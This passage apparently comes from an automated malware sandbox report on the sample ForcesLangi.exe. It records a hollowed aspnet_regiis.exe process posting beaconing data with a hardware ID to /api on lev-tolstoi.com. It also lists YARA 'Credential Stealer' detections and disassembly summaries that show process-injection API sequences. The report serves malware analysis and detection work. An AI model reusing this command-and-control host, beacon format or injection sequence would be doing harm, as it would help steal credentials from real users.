cfL4;desc="?proto=TCP&rtt=1800&min_rtt=1791&rtt_var=690&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19089&delivery_rate=1565683&cwnd=77&unsent_bytes=0&cid=e0b64d67f41513d2&ts=1002&x=0"
2024-12-27 21:38:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:38:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.66.86	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:38:08 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6G77YAN4O6JQCPPA9F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8791 Host: lev-tolstoi.com
2024-12-27 21:38:08 UTC	8791	OUT	Data Raw: 2d 2d 36 47 37 37 59 41 4e 34 4f 36 4a 51 43 50 50 41 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 31 37 45 43 36 41 45 39 46 43 44 39 32 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 47 37 37 59 41 4e 34 4f 36 4a 51 43 50 50 41 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 36 47 37 37 59 41 4e 34 4f 36 4a 51 43 50 50 41 39 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 61 61 64 62 38 Data Ascii: --6G77YAN4O6JQCPPA9FContent-Disposition: form-data; name="hwid"2917EC6AE9FCD922BEBA0C6A975F1733--6G77YAN4O6JQCPPA9FContent-Disposition: form-data; name="pid"2--6G77YAN4O6JQCPPA9FContent-Disposition: form-data; name="lid"HpOoIh--aadb8
2024-12-27 21:38:11 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=enhgt8rp2ncnp86jtt8jksi6si; expires=Tue, 22 Apr 2025 15:24:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pUEUhzJPRJVvQuoHqRySmDW9KOu2efVGMck%2FbjdTbFJzpxQdv7aTQ3txkBM%2F9sDM0IetocJmTy4hMuB5DvWyjFrDUPZso1TPh9geasaIqPTb%2B8OUdqDKDyVMnbB21A7rneI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c74b5c8400f77-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1605&rtt_var=602&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2836&recv_bytes=9729&delivery_rate=1815920&cwnd=231&unsent_bytes=0&cid=d448efdcb7ea0a49&ts=2952&x=0"
2024-12-27 21:38:11 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:38:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.66.86	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:38:13 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VTE315RFUWUZY5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20420 Host: lev-tolstoi.com
2024-12-27 21:38:13 UTC	15331	OUT	Data Raw: 2d 2d 56 54 45 33 31 35 52 46 55 57 55 5a 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 31 37 45 43 36 41 45 39 46 43 44 39 32 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 56 54 45 33 31 35 52 46 55 57 55 5a 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 56 54 45 33 31 35 52 46 55 57 55 5a 59 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 61 61 64 62 38 38 30 64 61 38 33 64 0d 0a 2d 2d 56 Data Ascii: --VTE315RFUWUZY5Content-Disposition: form-data; name="hwid"2917EC6AE9FCD922BEBA0C6A975F1733--VTE315RFUWUZY5Content-Disposition: form-data; name="pid"3--VTE315RFUWUZY5Content-Disposition: form-data; name="lid"HpOoIh--aadb880da83d--V
2024-12-27 21:38:13 UTC	5089	OUT	Data Raw: 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-27 21:38:14 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uelf38aoocgj3hunnr7in966pr; expires=Tue, 22 Apr 2025 15:24:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GCRQLDhsqe3HhsQXW32pV0ULUscAiI5vIOapcNtOq2xcnoUrgB6J8ZkATyJtYy5rHrRpn%2FNlRHgtLGK0ZamOik5MpnPeWBk1sD5L%2FsLeFIDty5RUlTlb2R9TJDwUMc5w8fw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c74d10a4342bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2130&min_rtt=2096&rtt_var=810&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2834&recv_bytes=21377&delivery_rate=1393129&cwnd=225&unsent_bytes=0&cid=2d7df55d421ff584&ts=942&x=0"
2024-12-27 21:38:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:38:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	104.21.66.86	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:38:15 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LYXP6LOCU8472NMT2QZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1284 Host: lev-tolstoi.com
2024-12-27 21:38:15 UTC	1284	OUT	Data Raw: 2d 2d 4c 59 58 50 36 4c 4f 43 55 38 34 37 32 4e 4d 54 32 51 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 31 37 45 43 36 41 45 39 46 43 44 39 32 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 59 58 50 36 4c 4f 43 55 38 34 37 32 4e 4d 54 32 51 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 59 58 50 36 4c 4f 43 55 38 34 37 32 4e 4d 54 32 51 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 61 61 Data Ascii: --LYXP6LOCU8472NMT2QZContent-Disposition: form-data; name="hwid"2917EC6AE9FCD922BEBA0C6A975F1733--LYXP6LOCU8472NMT2QZContent-Disposition: form-data; name="pid"1--LYXP6LOCU8472NMT2QZContent-Disposition: form-data; name="lid"HpOoIh--aa
2024-12-27 21:38:16 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o8kfeabgq4o4iigegqm3lm232o; expires=Tue, 22 Apr 2025 15:24:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hgqJzoJKaRlFNL%2BnR%2Fq7xMaBrq0KTfG7dZuCChIcf9EcXzmsoMYxOOLIRetIMFaevExyzCapTrTfZIHxfKIPlRV%2B%2Fed7gcR0RfEGCtYtdGq5HDqCLrG7riczNNTqqLs44n4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c74e17d4d435d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1584&rtt_var=604&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2201&delivery_rate=1796923&cwnd=128&unsent_bytes=0&cid=52d3a1860076e5b9&ts=777&x=0"
2024-12-27 21:38:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:38:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	104.21.66.86	443	4820	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:38:17 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EZMLRP7PI78R7N User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1110 Host: lev-tolstoi.com
2024-12-27 21:38:17 UTC	1110	OUT	Data Raw: 2d 2d 45 5a 4d 4c 52 50 37 50 49 37 38 52 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 39 31 37 45 43 36 41 45 39 46 43 44 39 32 32 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 45 5a 4d 4c 52 50 37 50 49 37 38 52 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 5a 4d 4c 52 50 37 50 49 37 38 52 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 61 61 64 62 38 38 30 64 61 38 33 64 0d 0a 2d 2d 45 Data Ascii: --EZMLRP7PI78R7NContent-Disposition: form-data; name="hwid"2917EC6AE9FCD922BEBA0C6A975F1733--EZMLRP7PI78R7NContent-Disposition: form-data; name="pid"1--EZMLRP7PI78R7NContent-Disposition: form-data; name="lid"HpOoIh--aadb880da83d--E
2024-12-27 21:38:19 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=390ddpmq7jtf2usu4elp8ko5ac; expires=Tue, 22 Apr 2025 15:24:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3WPpADHTSwGIwbsXvrsnvbIZ9tWxe4e%2FSJS%2Fvo2Bo7%2FbP0jWzsk2twBcB%2F6EeHdGuXCQSqCTjPfiN2yC4Ake7igWJexaKOkxUW9F7uWEF%2F74%2FEHtcMWx3eozFhu9%2BviHePY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c74eeeaed0f9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1559&rtt_var=594&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2022&delivery_rate=1872995&cwnd=193&unsent_bytes=0&cid=8ae01d3f3663ecb5&ts=1755&x=0"
2024-12-27 21:38:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:38:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	16:37:54
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\ForcesLangi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ForcesLangi.exe"
Imagebase:	0x6d0000
File size:	661'504 bytes
MD5 hash:	64F1ABE3F2F65E545C54B23809C06583
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:37:54
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:37:55
Start date:	27/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:	0x7e0000
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1831814063.0000000002A74000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1832206097.0000000002A7B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1831883195.0000000002A7A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.8%
Total number of Nodes:	1016
Total number of Limit Nodes:	7

Executed Functions

Function 6CE04270 Relevance: 89.3, APIs: 32, Strings: 14, Instructions: 8790nativethreadmemoryCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE(?,?,?,?,?,?,?), ref: 6CE066BA
ShowWindow.USER32 ref: 6CE066D0
VirtualAlloc.KERNELBASE ref: 6CE06D80
CreateProcessW.KERNELBASE ref: 6CE0744D
NtGetContextThread.NTDLL ref: 6CE077CD
NtAllocateVirtualMemory.NTDLL ref: 6CE079A5
NtAllocateVirtualMemory.NTDLL ref: 6CE07B09
NtWriteVirtualMemory.NTDLL ref: 6CE07BE1
NtWriteVirtualMemory.NTDLL ref: 6CE07EB7
NtWriteVirtualMemory.NTDLL ref: 6CE0851F
NtReadVirtualMemory.NTDLL ref: 6CE099DF
NtWriteVirtualMemory.NTDLL ref: 6CE0A1F9
NtCreateThreadEx.NTDLL ref: 6CE0AA5C
NtSetContextThread.NTDLL ref: 6CE0AF42
NtResumeThread.NTDLL ref: 6CE0AF60
CloseHandle.KERNEL32 ref: 6CE0AFE3
GetConsoleWindow.KERNEL32 ref: 6CE0B424
ShowWindow.USER32 ref: 6CE0B43A
CreateProcessW.KERNEL32 ref: 6CE0B5B9
NtWriteVirtualMemory.NTDLL ref: 6CE0B985
NtCreateThreadEx.NTDLL ref: 6CE0BD40
NtSetContextThread.NTDLL ref: 6CE0C010
NtResumeThread.NTDLL ref: 6CE0C02E
NtGetContextThread.NTDLL ref: 6CE0C18A
NtWriteVirtualMemory.NTDLL ref: 6CE0C200
NtWriteVirtualMemory.NTDLL ref: 6CE0C2C2
NtCreateThreadEx.NTDLL ref: 6CE0C66F
CloseHandle.KERNEL32 ref: 6CE0C6BF
NtCreateThreadEx.NTDLL ref: 6CE0C8CD

Strings

ntdll.dll, xrefs: 6CE066EA, 6CE0B454
@, xrefs: 6CE07B01
kernel32.dll, xrefs: 6CE066D6, 6CE0B440
d;, xrefs: 6CE09F60
#K>&, xrefs: 6CE0716A
jW}0, xrefs: 6CE094FD
)LE, xrefs: 6CE0658F
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe, xrefs: 6CE07186, 6CE0B537
D, xrefs: 6CE0C10E
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 6CE07030
I1Z, xrefs: 6CE0C4D7
MZx, xrefs: 6CE066FE, 6CE06720, 6CE0B468, 6CE0B48A
I1Z, xrefs: 6CE098B6
d;, xrefs: 6CE09F0F

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: Virtual$MemoryThread$Write$Create$ContextWindow$AllocateCloseConsoleHandleProcessResumeShow$AllocRead
String ID: d;$d;$#K>&$)LE$@$C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe$D$I1Z$I1Z$MZx$jW}0$kernel32.dll$ntdll.dll
API String ID: 2147668725-4089158577
Opcode ID: c94654091b746611dffebff9f4227d955ad4bc2d63b432ad0c1136e1922cdcf7
Instruction ID: 94032c548869c16c82a1d1955f563656fbf862707214fb2684946fe3fed0d9d0
Opcode Fuzzy Hash: c94654091b746611dffebff9f4227d955ad4bc2d63b432ad0c1136e1922cdcf7
Instruction Fuzzy Hash: FAE31236B416158FCB08CE3CC9957CE77F2AB4B314F205699D416DBB94D23A8A4ACF81

Function 6CDFD160 Relevance: 65.2, APIs: 23, Strings: 12, Instructions: 3958filememoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?), ref: 6CDFE1B5
GetModuleHandleA.KERNEL32 ref: 6CDFE25F
K32GetModuleInformation.KERNEL32 ref: 6CDFE5CB
GetModuleFileNameA.KERNEL32 ref: 6CDFE65A
CreateFileA.KERNELBASE ref: 6CDFE805
CloseHandle.KERNEL32 ref: 6CDFEC40
MapViewOfFile.KERNELBASE ref: 6CDFED08
VirtualProtect.KERNELBASE ref: 6CDFF689
VirtualProtect.KERNELBASE ref: 6CDFF94D
CloseHandle.KERNELBASE ref: 6CDFFD95
CloseHandle.KERNEL32 ref: 6CDFFE7D
CloseHandle.KERNEL32 ref: 6CDFFE8F
GetModuleFileNameA.KERNEL32 ref: 6CE0036F
VirtualProtect.KERNEL32 ref: 6CE006C7
CloseHandle.KERNEL32 ref: 6CE00958
CloseHandle.KERNEL32 ref: 6CE009EF
CloseHandle.KERNEL32 ref: 6CE00A01
GetCurrentProcess.KERNEL32 ref: 6CE00A4F
CloseHandle.KERNEL32 ref: 6CE00ACA
GetModuleFileNameA.KERNEL32 ref: 6CE00CB3
CloseHandle.KERNEL32 ref: 6CE00F9E

Strings

0J<(, xrefs: 6CDFFC72
>'+9, xrefs: 6CDFF1AB
@, xrefs: 6CDFF67D
v(R, xrefs: 6CDFF7D7
v(R, xrefs: 6CDFF748
t>6N, xrefs: 6CDFFFB3
jV&, xrefs: 6CE00AA0
S, xrefs: 6CE00C5C
jV&, xrefs: 6CDFE9D6
v'{, xrefs: 6CE00129
>'+9, xrefs: 6CDFF313
nlB[, xrefs: 6CDFECA6

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: Handle$Close$FileModule$NameProtectVirtual$CurrentProcess$CreateInformationView
String ID: 0J<($>'+9$>'+9$@$S$jV&$jV&$nlB[$t>6N$v(R$v(R$v'{
API String ID: 395468248-1931959953
Opcode ID: 6126a30d70bf8e52fb887b6cdccde43bc0b342269f0c2ad9eee2afc75a8dcfe5
Instruction ID: 0433d2ff6ce34b4e8b3cebf524076d04935f7f16bcd7456e39b008eb86f5439d
Opcode Fuzzy Hash: 6126a30d70bf8e52fb887b6cdccde43bc0b342269f0c2ad9eee2afc75a8dcfe5
Instruction Fuzzy Hash: EA531376B452508FCB148F3CC9953CA37F2BB87354F214299D465DBBA4D73A8A8ACB40

Function 6CE02F70 Relevance: 20.3, APIs: 2, Strings: 9, Instructions: 1041
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL ref: 6CE0370B

Strings

LukB, xrefs: 6CE03585
NtQueryInformationProcess, xrefs: 6CE035DA
j.X4, xrefs: 6CE03B03
g, xrefs: 6CE03D1A
0l8, xrefs: 6CE034CC
f]N, xrefs: 6CE03459
-&dU, xrefs: 6CE036D1
g, xrefs: 6CE03D68
ntdll.dll, xrefs: 6CE035C6

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: InformationProcessQuery
String ID: -&dU$0l8$LukB$NtQueryInformationProcess$j.X4$ntdll.dll$f]N$g$g
API String ID: 1778838933-2710835337
Opcode ID: 8349c1cb45273ed0dc252d2d768626e359501948a23c7914a975e3e9023a86c5
Instruction ID: 53b7844f66eccdd1584da7af214f48910405476032452d63077f10830ab5ee7f
Opcode Fuzzy Hash: 8349c1cb45273ed0dc252d2d768626e359501948a23c7914a975e3e9023a86c5
Instruction Fuzzy Hash: 97724436B456018FCF18CEBCD995BCD7BF2AB47355F205619D411EBBA4D72A880B8B80

Function 6CE2E7DE Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6CE2E825
___scrt_uninitialize_crt.LIBCMT ref: 6CE2E83F

Memory Dump Source

Source File: 00000000.00000002.1650765203.000000006CDF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1650749223.000000006CDF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650809586.000000006CE3A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650827878.000000006CE41000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1650868274.000000006CE8F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_ForcesLangi.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 47d8a3ed5c2578b2fa9393e1af08dd99a6adae50dac5dfa8e26f9905a7b8502f
Instruction ID: 6e80ec22f750c0074341f040c98bca1552c9153aca2d081b46ec1cfe3971886d
Opcode Fuzzy Hash: 47d8a3ed5c2578b2fa9393e1af08dd99a6adae50dac5dfa8e26f9905a7b8502f
